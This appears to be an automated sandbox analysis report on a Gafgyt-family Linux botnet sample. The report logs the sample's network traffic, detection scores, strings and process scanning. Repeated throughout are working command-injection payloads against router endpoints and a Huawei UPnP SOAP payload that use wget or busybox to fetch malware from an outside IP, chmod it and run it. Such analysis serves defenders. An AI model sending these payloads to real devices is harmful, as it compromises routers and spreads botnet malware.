Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;

Source: global traffic

TCP traffic: 192.168.2.14:46540 -> 185.125.190.26:443

Source: unknown	TCP traffic detected without corresponding DNS query: 162.64.42.242
Source: unknown	TCP traffic detected without corresponding DNS query: 157.243.14.169
Source: unknown	TCP traffic detected without corresponding DNS query: 157.184.209.242
Source: unknown	TCP traffic detected without corresponding DNS query: 41.235.234.165
Source: unknown	TCP traffic detected without corresponding DNS query: 197.206.5.172
Source: unknown	TCP traffic detected without corresponding DNS query: 41.22.26.155
Source: unknown	TCP traffic detected without corresponding DNS query: 157.17.207.170
Source: unknown	TCP traffic detected without corresponding DNS query: 157.185.93.190
Source: unknown	TCP traffic detected without corresponding DNS query: 49.224.108.161
Source: unknown	TCP traffic detected without corresponding DNS query: 197.251.149.30
Source: unknown	TCP traffic detected without corresponding DNS query: 41.182.155.32
Source: unknown	TCP traffic detected without corresponding DNS query: 189.162.97.250
Source: unknown	TCP traffic detected without corresponding DNS query: 197.43.253.55
Source: unknown	TCP traffic detected without corresponding DNS query: 176.196.102.51
Source: unknown	TCP traffic detected without corresponding DNS query: 41.182.95.202
Source: unknown	TCP traffic detected without corresponding DNS query: 197.76.31.205
Source: unknown	TCP traffic detected without corresponding DNS query: 175.61.213.231
Source: unknown	TCP traffic detected without corresponding DNS query: 41.179.199.195
Source: unknown	TCP traffic detected without corresponding DNS query: 39.0.144.213
Source: unknown	TCP traffic detected without corresponding DNS query: 41.208.250.18
Source: unknown	TCP traffic detected without corresponding DNS query: 157.201.38.178
Source: unknown	TCP traffic detected without corresponding DNS query: 44.195.94.75
Source: unknown	TCP traffic detected without corresponding DNS query: 157.215.155.93
Source: unknown	TCP traffic detected without corresponding DNS query: 166.81.53.191
Source: unknown	TCP traffic detected without corresponding DNS query: 113.223.37.247
Source: unknown	TCP traffic detected without corresponding DNS query: 197.103.14.30
Source: unknown	TCP traffic detected without corresponding DNS query: 197.222.83.254
Source: unknown	TCP traffic detected without corresponding DNS query: 157.39.16.92
Source: unknown	TCP traffic detected without corresponding DNS query: 41.206.100.181
Source: unknown	TCP traffic detected without corresponding DNS query: 41.12.204.115
Source: unknown	TCP traffic detected without corresponding DNS query: 87.129.193.227
Source: unknown	TCP traffic detected without corresponding DNS query: 99.195.209.135
Source: unknown	TCP traffic detected without corresponding DNS query: 197.215.103.47
Source: unknown	TCP traffic detected without corresponding DNS query: 41.130.1.151
Source: unknown	TCP traffic detected without corresponding DNS query: 157.101.215.156
Source: unknown	TCP traffic detected without corresponding DNS query: 41.86.56.211
Source: unknown	TCP traffic detected without corresponding DNS query: 41.35.119.123
Source: unknown	TCP traffic detected without corresponding DNS query: 157.249.219.24
Source: unknown	TCP traffic detected without corresponding DNS query: 197.149.27.14
Source: unknown	TCP traffic detected without corresponding DNS query: 75.151.81.74
Source: unknown	TCP traffic detected without corresponding DNS query: 41.208.197.185
Source: unknown	TCP traffic detected without corresponding DNS query: 157.98.225.65
Source: unknown	TCP traffic detected without corresponding DNS query: 129.121.134.251
Source: unknown	TCP traffic detected without corresponding DNS query: 41.162.203.93
Source: unknown	TCP traffic detected without corresponding DNS query: 197.235.179.140
Source: unknown	TCP traffic detected without corresponding DNS query: 157.251.63.110
Source: unknown	TCP traffic detected without corresponding DNS query: 157.141.201.166
Source: unknown	TCP traffic detected without corresponding DNS query: 188.120.173.52
Source: unknown	TCP traffic detected without corresponding DNS query: 8.241.25.113
Source: unknown	TCP traffic detected without corresponding DNS query: 197.126.57.49

Source: unknown

DNS traffic detected: queries for: bngoc.skyljne.click

Source: unknown

HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;

Source: skyljne.mpsl.elf	ReversingLabs: Detection: 62%
Source: skyljne.mpsl.elf	Virustotal: Detection: 64%			Perma Link

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html;charset=UTF-8Content-Length: 0Connection: closeCache-control: no-cache
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html;charset=UTF-8Content-Length: 0Connection: closeCache-control: no-cache
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html;charset=UTF-8Content-Length: 0Connection: closeCache-control: no-cache
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 Forbidden
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closeTransfer-Encoding: chunked
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close

Source: skyljne.mpsl.elf	String found in binary or memory: http://103.178.235.18/skyljne.mpsl;
Source: skyljne.mpsl.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: skyljne.mpsl.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: skyljne.mpsl.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5478.1.00007ff660400000.00007ff66042a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: skyljne.mpsl.elf PID: 5478, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.178.235.18 -l /tmp/.oxy -r /skyljne.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: bin/busybox
Source: Initial sample	String containing 'busybox' found: busybox wget
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: busyboxxx
Source: Initial sample	String containing 'busybox' found: busyboxx
Source: Initial sample	String containing 'busybox' found: HTTP/1.1 200 OKskyljne.armskyljne.arm5skyljne.arm6skyljne.arm7skyljne.mipsskyljne.mpslskyljne.x86_64skyljne.sh4<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.178.235.18 -l /tmp/.oxy -r /skyljne.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Source: Initial sample	String containing 'busybox' found: Content-Length: /proc/proc/%d/cmdlinenetstatcurlechobin/busyboxbusybox wget/proc//proc/%s/exe/proc/self/exevar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemd/usr/libexec/openssh/sftp-serverusr/shellmnt/sys/bin/tmp/boot/proc/media/srv/var/run/sbin/lib/etc/dev/home/Davincitelnetsshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr/bashhttpdtelnetddropbearropbearencodersystemcundicundi.*var/Condibin/Condibin/babylonetop1hbttop1hbt./root/dvr_gui//root/dvr_app//anko-app/902i13BzSxLxBxeYHOHO-LUGO7HOHO-U79OLJuYfouyf87NiGGeR69xdSO190Ij1XLOLKIKEEEDDEekjheory98escansh4MDMAfdevalvexscanspcMELTEDNINJAREALZflexsonskidsscanx86MISAKI-U79OLfoAxi102kxeswodjwodjwojMmKiy7f87lfreecookiex86sysgpufrgegesysupdater0DnAzepdNiGGeRD0nks69frgreu0x766f6964NiGGeRd0nks1337gafturasgbsigboa120i3UI49OaF3geaevaiolmao123123aOfurain0n4H34DggTrexewwasads1293194hjXDOthLaLosnggtwget-lo

Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/3760/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/1583/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/2672/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/3759/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/1577/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/3757/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/10/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/917/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/3758/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/11/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/12/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/13/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/14/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/15/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/16/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/17/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/18/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/19/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/1593/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/240/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/120/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/3094/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/121/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/242/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/3406/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/122/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/243/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/2/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/123/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/244/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/1589/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/3/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/124/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/245/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/125/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/4/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/246/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/3402/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/126/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/5/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/247/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/127/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/6/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/248/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/128/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/7/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/249/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/8/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/129/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/9/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/801/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/803/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/20/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/806/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/21/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/807/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/928/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/22/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/23/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/24/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/25/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/26/cmdline	Jump to behavior
Source: /tmp/skyljne.mpsl.elf (PID: 5483)	File opened: /proc/27/cmdline	Jump to behavior
